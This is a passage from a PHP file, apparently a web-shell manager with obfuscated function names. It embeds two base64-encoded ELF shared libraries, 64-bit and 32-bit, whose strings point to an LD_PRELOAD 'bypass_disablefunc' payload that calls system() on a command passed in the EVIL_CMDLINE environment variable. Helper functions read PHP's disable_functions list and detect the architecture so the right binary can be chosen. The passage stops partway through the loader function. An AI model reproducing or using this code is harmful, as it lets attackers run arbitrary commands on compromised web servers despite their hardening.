    return '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AAAAAAMAEQAYCSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAgCSAAAAAAAAAAAAAAAAAAAAAAAAMAEwAoCSAAAAAAAAAAAAAAAAAAAAAAAAMAFADoCiAAAAAAAAAAAAAAAAAAAAAAAAMAFQAYCyAAAAAAAAAAAAAAAAAAAAAAAAMAFgBYCyAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgCyAAAAAAAAAAAAAAAAAAAAAAAAMAGAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEgAgCSAAAAAAAAAAAAAAAAAAGQAAAAIACwDABgAAAAAAAAAAAAAAAAAALgAAAAIACwAABwAAAAAAAAAAAAAAAAAAQQAAAAIACwBQBwAAAAAAAAAAAAAAAAAAVwAAAAEAFwBgCyAAAAAAAAEAAAAAAAAAZgAAAAEAEQAYCSAAAAAAAAAAAAAAAAAAjQAAAAIACwCQBwAAAAAAAAAAAAAAAAAAmQAAAAEAEAAICSAAAAAAAAAAAAAAAAAAuAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAzQAAAAEADwAACQAAAAAAAAAAAAAAAAAA2wAAAAEAEgAgCSAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAA5wAAAAEAFgBYCyAAAAAAAAAAAAAAAAAA9AAAAAEAEwAoCSAAAAAAAAAAAAAAAAAA/QAAAAEAFgBgCyAAAAAAAAAAAAAAAAAACQEAAAEAFQAYCyAAAAAAAAAAAAAAAAAAHwEAABIAAAAAAAAAAAAAAAAAAAAAAAAAMwEAACAAAAAAAAAAAAAAAAAAAAAAAAAATwEAABAAFgBgCyAAAAAAAAAAAAAAAAAAVgEAABIADABgCAAAAAAAAAAAAAAAAAAAXAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAcAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAfwEAABEAAAAAAAAAAAAAAAAAAAAAAAAAlAEAABAAFwBoCyAAAAAAAAAAAAAAAAAAmQEAABAAFwBgCyAAAAAAAAAAAAAAAAAApQEAABIACwDABwAAAAAAAJ0AAAAAAAAArQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAwQEAABEAAAAAAAAAAAAAAAAAAAAAAAAA2AEAACAAAAAAAAAAAAAAAAAAAAAAAAAA8gEAACIAAAAAAAAAAAAAAAAAAAAAAAAADgIAABIACQA4BgAAAAAAAAAAAAAAAAAAFAIAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAX19KQ1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAHJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjY2NzAAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AGJ5cGFzc19kaXNhYmxlZnVuYy5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fVE1DX0VORF9fAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBnZXRlbnZAQEdMSUJDXzIuMi41AF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfZWRhdGEAX2ZpbmkAc3lzdGVtQEBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBlbnZpcm9uQEBHTElCQ18yLjIuNQBfZW5kAF9fYnNzX3N0YXJ0AHByZWxvYWQAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfX2Vudmlyb25AQEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9pbml0AHN0cnN0ckBAR0xJQkNfMi4yLjUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAHAAAAAgAAAAAAAACQAQAAAAAAAJABAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAuAAAA9v//bwIAAAAAAAAAuAEAAAAAAAC4AQAAAAAAADwAAAAAAAAAAwAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAOAAAAAsAAAACAAAAAAAAAPgBAAAAAAAA+AEAAAAAAADIAQAAAAAAAAQAAAACAAAACAAAAAAAAAAYAAAAAAAAAEAAAAADAAAAAgAAAAAAAADAAwAAAAAAAMADAAAAAAAAygAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABIAAAA////bwIAAAAAAAAAigQAAAAAAACKBAAAAAAAACYAAAAAAAAAAwAAAAAAAAACAAAAAAAAAAIAAAAAAAAAVQAAAP7//28CAAAAAAAAALAEAAAAAAAAsAQAAAAAAAAgAAAAAAAAAAQAAAABAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAEAAAAAgAAAAAAAADQBAAAAAAAANAEAAAAAAAA8AAAAAAAAAADAAAAAAAAAAgAAAAAAAAAGAAAAAAAAABuAAAABAAAAEIAAAAAAAAAwAUAAAAAAADABQAAAAAAAHgAAAAAAAAAAwAAAAoAAAAIAAAAAAAAABgAAAAAAAAAeAAAAAEAAAAGAAAAAAAAADgGAAAAAAAAOAYAAAAAAAAaAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAHMAAAABAAAABgAAAAAAAABgBgAAAAAAAGAGAAAAAAAAYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAB+AAAAAQAAAAYAAAAAAAAAwAYAAAAAAADABgAAAAAAAJ0BAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAhAAAAAEAAAAGAAAAAAAAAGAIAAAAAAAAYAgAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAIoAAAABAAAAAgAAAAAAAABpCAAAAAAAAGkIAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACSAAAAAQAAAAIAAAAAAAAAhAgAAAAAAACECAAAAAAAABwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAoAAAAAEAAAACAAAAAAAAAKAIAAAAAAAAoAgAAAAAAABkAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAKoAAAAOAAAAAwAAAAAAAAAICSAAAAAAAAgJAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAC2AAAADwAAAAMAAAAAAAAAGAkgAAAAAAAYCQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAwgAAAAEAAAADAAAAAAAAACAJIAAAAAAAIAkAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAMcAAAAGAAAAAwAAAAAAAAAoCSAAAAAAACgJAAAAAAAAwAEAAAAAAAAEAAAAAAAAAAgAAAAAAAAAEAAAAAAAAADQAAAAAQAAAAMAAAAAAAAA6AogAAAAAADoCgAAAAAAADAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA1QAAAAEAAAADAAAAAAAAABgLIAAAAAAAGAsAAAAAAABAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAN4AAAABAAAAAwAAAAAAAABYCyAAAAAAAFgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADkAAAACAAAAAMAAAAAAAAAYAsgAAAAAABgCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6QAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAYAsAAAAAAAAkAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAIQLAAAAAAAA8gAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAB4DAAAAAAAAIgFAAAAAAAAGwAAACsAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAoAgAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA==';
}

function _g78e6045()
{
    return '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';
}

function _g5245dfb()
{
    $int = '9223372036854775807';
    $int = intval($int);
    if ($int == 9223372036854775807) return true;
    if ($int == 2147483647) return false;
    return null;
}

function _g2b23d6f()
{
    $raw = (string)@ini_get('disable_functions');
    $parts = preg_split('/\s*,\s*/', strtolower($raw), -1, PREG_SPLIT_NO_EMPTY);
    return is_array($parts) ? $parts : array();
}

function _geebfdb2($name)
{
    $name = strtolower((string)$name);
    if ($name === '') return false;
    if (!function_exists($name)) return false;
    return !in_array($name, _g2b23d6f(), true);
}

/** Embedded payloads (dari preload.php) — self-contained di manager.php. */
function _gecd6dc3()
{
    static $cache = null;
    if (is_array($cache)) return $cache;

    if (!function_exists('_g26a349d') || !function_exists('_g78e6045')) {
